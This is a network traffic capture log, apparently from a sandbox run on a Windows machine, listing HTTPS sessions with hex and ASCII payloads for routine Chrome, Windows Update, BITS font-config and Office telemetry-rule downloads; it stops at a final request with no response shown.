Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
2	192.168.2.5	49713	142.250.181.68	443	3092	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-11-24 22:24:16 UTC	353	OUT	GET /async/newtab_promos HTTP/1.1 Host: www.google.com Connection: keep-alive Sec-Fetch-Site: cross-site Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: empty User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-11-24 22:24:17 UTC	933	IN	HTTP/1.1 200 OK Version: 698289427 Content-Type: application/json; charset=UTF-8 X-Content-Type-Options: nosniff Cross-Origin-Opener-Policy: same-origin-allow-popups; report-to="gws" Report-To: {"group":"gws","max_age":2592000,"endpoints":[{"url":"https://csp.withgoogle.com/csp/report-to/gws/none"}]} Accept-CH: Sec-CH-UA-Form-Factors Accept-CH: Sec-CH-UA-Platform Accept-CH: Sec-CH-UA-Platform-Version Accept-CH: Sec-CH-UA-Full-Version Accept-CH: Sec-CH-UA-Arch Accept-CH: Sec-CH-UA-Model Accept-CH: Sec-CH-UA-Bitness Accept-CH: Sec-CH-UA-Full-Version-List Accept-CH: Sec-CH-UA-WoW64 Permissions-Policy: unload=() Content-Disposition: attachment; filename="f.txt" Date: Sun, 24 Nov 2024 22:24:17 GMT Server: gws X-XSS-Protection: 0 X-Frame-Options: SAMEORIGIN Alt-Svc: h3=":443"; ma=2592000,h3-29=":443"; ma=2592000 Accept-Ranges: none Vary: Accept-Encoding Connection: close Transfer-Encoding: chunked
2024-11-24 22:24:17 UTC	35	IN	Data Raw: 31 64 0d 0a 29 5d 7d 27 0a 7b 22 75 70 64 61 74 65 22 3a 7b 22 70 72 6f 6d 6f 73 22 3a 7b 7d 7d 7d 0d 0a Data Ascii: 1d)]}'{"update":{"promos":{}}}
2024-11-24 22:24:17 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
3	192.168.2.5	49725	23.218.208.109	443

Timestamp	Bytes transferred	Direction	Data
2024-11-24 22:24:20 UTC	161	OUT	HEAD /fs/windows/config.json HTTP/1.1 Connection: Keep-Alive Accept: / Accept-Encoding: identity User-Agent: Microsoft BITS/7.8 Host: fs.microsoft.com
2024-11-24 22:24:21 UTC	479	IN	HTTP/1.1 200 OK Content-Type: application/octet-stream Server: Kestrel ETag: "0x64667F707FF07D62B733DBCB79EFE3855E6886C9975B0C0B467D46231B3FA5E7" Last-Modified: Tue, 16 May 2017 22:58:00 GMT X-Ms-ApiVersion: Distribute 1.2 X-Ms-Region: prod-eus-z1 Content-Disposition: attachment; filename=config.json; filename*=UTF-8''config.json X-OSID: 2 X-CID: 2 X-CCC: GB Cache-Control: public, max-age=126550 Date: Sun, 24 Nov 2024 22:24:21 GMT Connection: close X-CID: 2

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
4	192.168.2.5	49716	172.202.163.200	443

Timestamp	Bytes transferred	Direction	Data
2024-11-24 22:24:21 UTC	306	OUT	GET /SLS/%7B522D76A4-93E1-47F8-B8CE-07C937AD1A1E%7D/x64/10.0.19045.2006/0?CH=700&L=en-GB&P=&PT=0x30&WUA=10.0.19041.1949&MK=GYdFb+Ghxpf3llu&MD=PAkvHKWw HTTP/1.1 Connection: Keep-Alive Accept: / User-Agent: Windows-Update-Agent/10.0.10011.16384 Client-Protocol/2.33 Host: slscr.update.microsoft.com
2024-11-24 22:24:21 UTC	560	IN	HTTP/1.1 200 OK Cache-Control: no-cache Pragma: no-cache Content-Type: application/octet-stream Expires: -1 Last-Modified: Mon, 01 Jan 0001 00:00:00 GMT ETag: "XAopazV00XDWnJCwkmEWRv6JkbjRA9QSSZ2+e/3MzEk=_2880" MS-CorrelationId: a3ec5fef-19f4-4391-9746-970d927be93b MS-RequestId: 9f5a3bca-0bf0-4fce-b7f9-8683190e66a9 MS-CV: PB/S3ycMREOnun7r.0 X-Microsoft-SLSClientCache: 2880 Content-Disposition: attachment; filename=environment.cab X-Content-Type-Options: nosniff Date: Sun, 24 Nov 2024 22:24:20 GMT Connection: close Content-Length: 24490
2024-11-24 22:24:21 UTC	15824	IN	Data Raw: 4d 53 43 46 00 00 00 00 92 1e 00 00 00 00 00 00 44 00 00 00 00 00 00 00 03 01 01 00 01 00 04 00 23 d0 00 00 14 00 00 00 00 00 10 00 92 1e 00 00 18 41 00 00 00 00 00 00 00 00 00 00 64 00 00 00 01 00 01 00 e6 42 00 00 00 00 00 00 00 00 00 00 00 00 80 00 65 6e 76 69 72 6f 6e 6d 65 6e 74 2e 63 61 62 00 78 cf 8d 5c 26 1e e6 42 43 4b ed 5c 07 54 13 db d6 4e a3 f7 2e d5 d0 3b 4c 42 af 4a 57 10 e9 20 bd 77 21 94 80 88 08 24 2a 02 02 d2 55 10 a4 a8 88 97 22 8a 0a d2 11 04 95 ae d2 8b 20 28 0a 88 20 45 05 f4 9f 80 05 bd ed dd f7 ff 77 dd f7 bf 65 d6 4a 66 ce 99 33 67 4e d9 7b 7f fb db 7b 56 f4 4d 34 b4 21 e0 a7 03 0a d9 fc 68 6e 1d 20 70 28 14 02 85 20 20 ad 61 10 08 e3 66 0d ed 66 9b 1d 6a 90 af 1f 17 f0 4b 68 35 01 83 6c fb 44 42 5c 7d 83 3d 03 30 be 3e ae be 58 Data Ascii: MSCFD#AdBenvironment.cabx\&BCK\TN.;LBJW w!$*U" ( EweJf3gN{{VM4!hn p( affjKh5lDB\}=0>X
2024-11-24 22:24:21 UTC	8666	IN	Data Raw: 04 01 31 2f 30 2d 30 0a 02 05 00 e1 2b 8a 50 02 01 00 30 0a 02 01 00 02 02 12 fe 02 01 ff 30 07 02 01 00 02 02 11 e6 30 0a 02 05 00 e1 2c db d0 02 01 00 30 36 06 0a 2b 06 01 04 01 84 59 0a 04 02 31 28 30 26 30 0c 06 0a 2b 06 01 04 01 84 59 0a 03 02 a0 0a 30 08 02 01 00 02 03 07 a1 20 a1 0a 30 08 02 01 00 02 03 01 86 a0 30 0d 06 09 2a 86 48 86 f7 0d 01 01 05 05 00 03 81 81 00 0c d9 08 df 48 94 57 65 3e ad e7 f2 17 9c 1f ca 3d 4d 6c cd 51 e1 ed 9c 17 a5 52 35 0f fd de 4b bd 22 92 c5 69 e5 d7 9f 29 23 72 40 7a ca 55 9d 8d 11 ad d5 54 00 bb 53 b4 87 7b 72 84 da 2d f6 e3 2c 4f 7e ba 1a 58 88 6e d6 b9 6d 16 ae 85 5b b5 c2 81 a8 e0 ee 0a 9c 60 51 3a 7b e4 61 f8 c3 e4 38 bd 7d 28 17 d6 79 f0 c8 58 c6 ef 1f f7 88 65 b1 ea 0a c0 df f7 ee 5c 23 c2 27 fd 98 63 08 31 Data Ascii: 1/0-0+P000,06+Y1(0&0+Y0 00*HHWe>=MlQR5K"i)#r@zUTS{r-,O~Xnm[`Q:{a8}(yXe\#'c1

Session ID	Source IP	Source Port	Destination IP	Destination Port
5	192.168.2.5	49728	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-24 22:24:22 UTC	195	OUT	GET /rules/other-Win32-v19.bundle HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-24 22:24:23 UTC	471	IN	HTTP/1.1 200 OK Date: Sun, 24 Nov 2024 22:24:22 GMT Content-Type: text/plain Content-Length: 218853 Connection: close Vary: Accept-Encoding Cache-Control: public Last-Modified: Sat, 23 Nov 2024 12:15:37 GMT ETag: "0x8DD0BB889D4282C" x-ms-request-id: 19b35b80-c01e-0049-150a-3eac27000000 x-ms-version: 2018-03-28 x-azure-ref: 20241124T222422Z-174c587ffdfb74xqhC1TEBhabc00000004z000000000ngrd x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-24 22:24:23 UTC	15913	IN	Data Raw: 31 30 30 30 76 35 2b 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 30 30 30 22 20 56 3d 22 35 22 20 44 43 3d 22 45 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 52 75 6c 65 45 72 72 6f 72 73 41 67 67 72 65 67 61 74 65 64 22 20 41 54 54 3d 22 66 39 39 38 63 63 35 62 61 34 64 34 34 38 64 36 61 31 65 38 65 39 31 33 66 66 31 38 62 65 39 34 2d 64 64 31 32 32 65 30 61 2d 66 63 66 38 2d 34 64 63 35 2d 39 64 62 62 2d 36 61 66 61 63 35 33 32 35 31 38 33 2d 37 34 30 35 22 20 53 50 3d 22 43 72 69 74 69 63 61 6c 42 75 73 69 6e 65 73 73 49 6d 70 61 63 74 22 20 53 3d 22 37 30 22 20 44 4c 3d 22 41 22 20 44 43 61 3d 22 50 53 50 20 50 53 55 22 20 Data Ascii: 1000v5+<?xml version="1.0" encoding="utf-8"?><R Id="1000" V="5" DC="ESM" EN="Office.Telemetry.RuleErrorsAggregated" ATT="f998cc5ba4d448d6a1e8e913ff18be94-dd122e0a-fcf8-4dc5-9dbb-6afac5325183-7405" SP="CriticalBusinessImpact" S="70" DL="A" DCa="PSP PSU"
2024-11-24 22:24:23 UTC	16384	IN	Data Raw: 20 2f 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 2f 52 3e 0d 0a 20 20 20 20 20 20 20 20 3c 2f 4f 3e 0d 0a 20 20 20 20 20 20 3c 2f 52 3e 0d 0a 20 20 20 20 3c 2f 4f 3e 0d 0a 20 20 3c 2f 43 3e 0d 0a 20 20 3c 43 20 54 3d 22 42 22 20 49 3d 22 35 22 20 4f 3d 22 66 61 6c 73 65 22 3e 0d 0a 20 20 20 20 3c 4f 20 54 3d 22 41 4e 44 22 3e 0d 0a 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4f 20 54 3d 22 47 45 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 2f 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 2f 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 52 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 56 20 56 3d 22 34 30 30 22 20 54 3d 22 49 33 32 22 20 2f 3e 0d 0a 20 Data Ascii: /> </R> </O> </R> </O> </C> <C T="B" I="5" O="false"> <O T="AND"> <L> <O T="GE"> <L> <S T="1" F="0" /> </L> <R> <V V="400" T="I32" />
2024-11-24 22:24:23 UTC	16384	IN	Data Raw: 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 30 38 32 30 22 20 56 3d 22 33 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 4f 75 74 6c 6f 6f 6b 2e 44 65 73 6b 74 6f 70 2e 43 6f 6e 74 61 63 74 43 61 72 64 50 72 6f 70 65 72 74 69 65 73 43 6f 75 6e 74 73 22 20 41 54 54 3d 22 64 38 30 37 36 30 39 32 37 36 37 34 34 32 34 35 62 61 66 38 31 62 66 37 62 63 38 30 33 33 66 36 2d 32 32 36 38 65 33 37 34 2d 37 37 36 36 2d 34 39 37 36 2d 62 65 34 34 2d 62 36 61 64 35 62 64 64 63 35 62 36 2d 37 38 31 33 22 20 44 43 61 3d 22 50 53 55 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 41 20 54 3d 22 31 22 20 45 3d 22 54 65 6c 65 6d 65 74 72 79 53 68 75 74 64 6f 77 6e 22 20 2f 3e 0d Data Ascii: .0" encoding="utf-8"?><R Id="10820" V="3" DC="SM" EN="Office.Outlook.Desktop.ContactCardPropertiesCounts" ATT="d807609276744245baf81bf7bc8033f6-2268e374-7766-4976-be44-b6ad5bddc5b6-7813" DCa="PSU" xmlns=""> <S> <A T="1" E="TelemetryShutdown" />
2024-11-24 22:24:23 UTC	16384	IN	Data Raw: 0d 0a 20 20 3c 2f 43 3e 0d 0a 20 20 3c 43 20 54 3d 22 55 33 32 22 20 49 3d 22 39 22 20 4f 3d 22 74 72 75 65 22 20 4e 3d 22 50 75 72 67 65 64 5f 41 67 65 22 3e 0d 0a 20 20 20 20 3c 53 20 54 3d 22 34 22 20 46 3d 22 43 6f 75 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 43 3e 0d 0a 20 20 3c 43 20 54 3d 22 55 33 32 22 20 49 3d 22 31 30 22 20 4f 3d 22 74 72 75 65 22 20 4e 3d 22 50 75 72 67 65 64 5f 43 6f 75 6e 74 22 3e 0d 0a 20 20 20 20 3c 53 20 54 3d 22 35 22 20 46 3d 22 43 6f 75 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 43 3e 0d 0a 20 20 3c 43 20 54 3d 22 55 33 32 22 20 49 3d 22 31 31 22 20 4f 3d 22 74 72 75 65 22 20 4e 3d 22 46 69 6c 65 5f 43 6f 75 6e 74 22 3e 0d 0a 20 20 20 20 3c 53 20 54 3d 22 38 22 20 46 3d 22 43 6f 75 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 43 3e 0d 0a 20 Data Ascii: </C> <C T="U32" I="9" O="true" N="Purged_Age"> <S T="4" F="Count" /> </C> <C T="U32" I="10" O="true" N="Purged_Count"> <S T="5" F="Count" /> </C> <C T="U32" I="11" O="true" N="File_Count"> <S T="8" F="Count" /> </C>
2024-11-24 22:24:23 UTC	16384	IN	Data Raw: 20 20 3c 53 20 54 3d 22 31 30 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 43 3e 0d 0a 20 20 3c 2f 43 3e 0d 0a 20 20 3c 43 20 54 3d 22 55 33 32 22 20 49 3d 22 31 22 20 4f 3d 22 66 61 6c 73 65 22 20 4e 3d 22 43 6f 75 6e 74 5f 43 72 65 61 74 65 43 61 72 64 5f 56 61 6c 69 64 4d 61 6e 61 67 65 72 5f 46 61 6c 73 65 22 3e 0d 0a 20 20 20 20 3c 43 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 31 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 43 3e 0d 0a 20 20 3c 2f 43 3e 0d 0a 20 20 3c 43 20 54 3d 22 55 33 32 22 20 49 3d 22 32 22 20 4f 3d 22 66 61 6c 73 65 22 20 4e 3d 22 43 6f 75 6e 74 5f 43 72 65 61 74 65 52 65 73 75 6c 74 5f 56 61 6c 69 64 50 65 72 73 6f 6e 61 5f 46 61 6c 73 65 22 3e 0d 0a 20 20 20 20 3c 43 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 32 22 20 2f 3e 0d 0a 20 Data Ascii: <S T="10" /> </C> </C> <C T="U32" I="1" O="false" N="Count_CreateCard_ValidManager_False"> <C> <S T="11" /> </C> </C> <C T="U32" I="2" O="false" N="Count_CreateResult_ValidPersona_False"> <C> <S T="12" />
2024-11-24 22:24:23 UTC	16384	IN	Data Raw: 50 61 69 6e 74 5f 49 4d 73 6f 50 65 72 73 6f 6e 61 5f 57 61 73 4e 75 6c 6c 5f 43 6f 75 6e 74 22 3e 0d 0a 20 20 20 20 3c 43 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 33 32 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 43 3e 0d 0a 20 20 3c 2f 43 3e 0d 0a 20 20 3c 43 20 54 3d 22 55 33 32 22 20 49 3d 22 32 30 22 20 4f 3d 22 66 61 6c 73 65 22 20 4e 3d 22 50 61 69 6e 74 5f 49 4d 73 6f 50 65 72 73 6f 6e 61 5f 4e 75 6c 6c 5f 43 6f 75 6e 74 22 3e 0d 0a 20 20 20 20 3c 43 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 33 33 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 43 3e 0d 0a 20 20 3c 2f 43 3e 0d 0a 20 20 3c 43 20 54 3d 22 55 33 32 22 20 49 3d 22 32 31 22 20 4f 3d 22 66 61 6c 73 65 22 20 4e 3d 22 43 6c 65 61 6e 75 70 4d 73 6f 50 65 72 73 6f 6e 61 5f 49 4d 73 6f 50 65 72 73 6f 6e Data Ascii: Paint_IMsoPersona_WasNull_Count"> <C> <S T="32" /> </C> </C> <C T="U32" I="20" O="false" N="Paint_IMsoPersona_Null_Count"> <C> <S T="33" /> </C> </C> <C T="U32" I="21" O="false" N="CleanupMsoPersona_IMsoPerson
2024-11-24 22:24:23 UTC	16384	IN	Data Raw: 20 3c 52 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 3c 56 20 56 3d 22 32 30 30 22 20 54 3d 22 49 36 34 22 20 2f 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 2f 52 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 2f 4f 3e 0d 0a 20 20 20 20 20 20 20 20 3c 2f 4c 3e 0d 0a 20 20 20 20 20 20 20 20 3c 52 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 4f 20 54 3d 22 4c 54 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 33 22 20 46 3d 22 52 65 74 72 69 65 76 61 6c 4d 69 6c 6c 69 73 65 63 6f 6e 64 73 22 20 2f 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 2f 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 52 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 3c 56 20 56 3d 22 34 30 30 22 Data Ascii: <R> <V V="200" T="I64" /> </R> </O> </L> <R> <O T="LT"> <L> <S T="3" F="RetrievalMilliseconds" /> </L> <R> <V V="400"
2024-11-24 22:24:23 UTC	16384	IN	Data Raw: 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 55 33 32 22 20 49 3d 22 30 22 20 4f 3d 22 66 61 6c 73 65 22 20 4e 3d 22 4f 63 6f 6d 32 49 55 43 4f 66 66 69 63 65 49 6e 74 65 67 72 61 74 69 6f 6e 46 69 72 73 74 43 61 6c 6c 53 75 63 63 65 73 73 43 6f 75 6e 74 22 3e 0d 0a 20 20 20 20 3c 43 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 39 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 43 3e 0d 0a 20 20 3c 2f 43 3e 0d 0a 20 20 3c 43 20 54 3d 22 55 33 32 22 20 49 3d 22 31 22 20 4f 3d 22 66 61 6c 73 65 22 20 4e 3d 22 4f 63 6f 6d 32 49 55 43 4f 66 66 69 63 65 49 6e 74 65 67 72 61 74 69 6f 6e 46 69 72 73 74 43 61 6c 6c 46 61 69 6c 65 64 43 6f 75 6e 74 22 3e 0d 0a 20 20 20 20 3c 43 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 30 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 43 Data Ascii: </S> <C T="U32" I="0" O="false" N="Ocom2IUCOfficeIntegrationFirstCallSuccessCount"> <C> <S T="9" /> </C> </C> <C T="U32" I="1" O="false" N="Ocom2IUCOfficeIntegrationFirstCallFailedCount"> <C> <S T="10" /> </C
2024-11-24 22:24:23 UTC	16384	IN	Data Raw: 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 33 22 20 46 3d 22 54 65 6e 61 6e 74 20 65 6e 61 62 6c 65 64 22 20 2f 3e 0d 0a 20 20 20 20 20 20 20 20 3c 2f 4c 3e 0d 0a 20 20 20 20 20 20 20 20 3c 52 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 33 22 20 46 3d 22 55 73 65 72 20 65 6e 61 62 6c 65 64 22 20 2f 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 2f 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 52 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 3c 56 20 56 3d 22 66 61 6c 73 65 22 20 54 3d 22 42 22 20 2f 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 2f 52 3e 0d 0a 20 20 20 20 20 20 20 20 20 Data Ascii: L> <S T="3" F="Tenant enabled" /> </L> <R> <O T="EQ"> <L> <S T="3" F="User enabled" /> </L> <R> <V V="false" T="B" /> </R>
2024-11-24 22:24:23 UTC	16384	IN	Data Raw: 75 73 22 20 2f 3e 0d 0a 20 20 20 20 20 20 20 20 3c 2f 4c 3e 0d 0a 20 20 20 20 20 20 20 20 3c 52 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 56 20 56 3d 22 34 30 34 22 20 54 3d 22 55 33 32 22 20 2f 3e 0d 0a 20 20 20 20 20 20 20 20 3c 2f 52 3e 0d 0a 20 20 20 20 20 20 3c 2f 4f 3e 0d 0a 20 20 20 20 3c 2f 46 3e 0d 0a 20 20 20 20 3c 46 20 54 3d 22 37 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 41 4e 44 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 4f 20 54 3d 22 47 45 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 32 22 20 46 3d 22 48 74 74 70 53 74 61 74 75 73 22 20 2f 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 2f 4c 3e 0d 0a 20 20 20 20 20 Data Ascii: us" /> </L> <R> <V V="404" T="U32" /> </R> </O> </F> <F T="7"> <O T="AND"> <L> <O T="GE"> <L> <S T="2" F="HttpStatus" /> </L>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
6	192.168.2.5	49730	23.218.208.109	443

Timestamp	Bytes transferred	Direction	Data
2024-11-24 22:24:22 UTC	239	OUT	GET /fs/windows/config.json HTTP/1.1 Connection: Keep-Alive Accept: / Accept-Encoding: identity If-Unmodified-Since: Tue, 16 May 2017 22:58:00 GMT Range: bytes=0-2147483646 User-Agent: Microsoft BITS/7.8 Host: fs.microsoft.com
2024-11-24 22:24:23 UTC	535	IN	HTTP/1.1 200 OK Content-Type: application/octet-stream Last-Modified: Tue, 16 May 2017 22:58:00 GMT ETag: "0x64667F707FF07D62B733DBCB79EFE3855E6886C9975B0C0B467D46231B3FA5E7" ApiVersion: Distribute 1.1 Content-Disposition: attachment; filename=config.json; filename*=UTF-8''config.json X-Azure-Ref: 0WwMRYwAAAABe7whxSEuqSJRuLqzPsqCaTE9OMjFFREdFMTcxNQBjZWZjMjU4My1hOWIyLTQ0YTctOTc1NS1iNzZkMTdlMDVmN2Y= Cache-Control: public, max-age=126526 Date: Sun, 24 Nov 2024 22:24:23 GMT Content-Length: 55 Connection: close X-CID: 2
2024-11-24 22:24:23 UTC	55	IN	Data Raw: 7b 22 66 6f 6e 74 53 65 74 55 72 69 22 3a 22 66 6f 6e 74 73 65 74 2d 32 30 31 37 2d 30 34 2e 6a 73 6f 6e 22 2c 22 62 61 73 65 55 72 69 22 3a 22 66 6f 6e 74 73 22 7d Data Ascii: {"fontSetUri":"fontset-2017-04.json","baseUri":"fonts"}

Session ID	Source IP	Source Port	Destination IP	Destination Port
7	192.168.2.5	49743	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-24 22:24:26 UTC	192	OUT	GET /rules/rule120609v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-24 22:24:27 UTC	470	IN	HTTP/1.1 200 OK Date: Sun, 24 Nov 2024 22:24:27 GMT Content-Type: text/xml Content-Length: 408 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:33 GMT ETag: "0x8DC582BB56D3AFB" x-ms-request-id: f3d0c3d3-f01e-003c-676b-3b8cf0000000 x-ms-version: 2018-03-28 x-azure-ref: 20241124T222427Z-178bfbc474bw8bwphC1NYC38b400000006a000000000kz3m x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-24 22:24:27 UTC	408	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 30 39 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 38 32 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 5e 28 5b 44 64 5d 5b 45 65 5d 5b 4c 6c 5d 5b 4c 6c 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 57 22 20 49 3d 22 30 22 20 4f 3d 22 74 72 75 65 22 3e 0d 0a 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120609" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120682" /> <SR T="2" R="^([Dd][Ee][Ll][Ll])"> <S T="1" F="0" M="Ignore" /> </SR> </S> <C T="W" I="0" O="true">

Session ID	Source IP	Source Port	Destination IP	Destination Port
8	192.168.2.5	49740	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-24 22:24:26 UTC	193	OUT	GET /rules/rule120402v21s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-24 22:24:27 UTC	494	IN	HTTP/1.1 200 OK Date: Sun, 24 Nov 2024 22:24:27 GMT Content-Type: text/xml Content-Length: 3788 Connection: close Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:17 GMT ETag: "0x8DC582BAC2126A6" x-ms-request-id: 1c744767-001e-0082-6060-3b5880000000 x-ms-version: 2018-03-28 x-azure-ref: 20241124T222427Z-178bfbc474b9fdhphC1NYCac0n00000006d000000000m3d3 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-24 22:24:27 UTC	3788	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 34 30 32 22 20 56 3d 22 32 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 53 79 73 74 65 6d 2e 53 79 73 74 65 6d 48 65 61 6c 74 68 55 6e 67 72 61 63 65 66 75 6c 41 70 70 45 78 69 74 44 65 73 6b 74 6f 70 22 20 41 54 54 3d 22 63 64 38 33 36 36 32 36 36 31 31 63 34 63 61 61 61 38 66 63 35 62 32 65 37 32 38 65 65 38 31 64 2d 33 62 36 64 36 63 34 35 2d 36 33 37 37 2d 34 62 66 35 2d 39 37 39 32 2d 64 62 66 38 65 31 38 38 31 30 38 38 2d 37 35 32 31 22 20 53 50 3d 22 43 72 69 74 69 63 61 6c 43 65 6e 73 75 73 22 20 44 4c 3d 22 41 22 20 44 43 61 3d 22 50 53 50 22 20 78 6d 6c 6e 73 3d 22 22 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120402" V="21" DC="SM" EN="Office.System.SystemHealthUngracefulAppExitDesktop" ATT="cd836626611c4caaa8fc5b2e728ee81d-3b6d6c45-6377-4bf5-9792-dbf8e1881088-7521" SP="CriticalCensus" DL="A" DCa="PSP" xmlns=""

Session ID	Source IP	Source Port	Destination IP	Destination Port
9	192.168.2.5	49744	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-24 22:24:26 UTC	192	OUT	GET /rules/rule120608v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
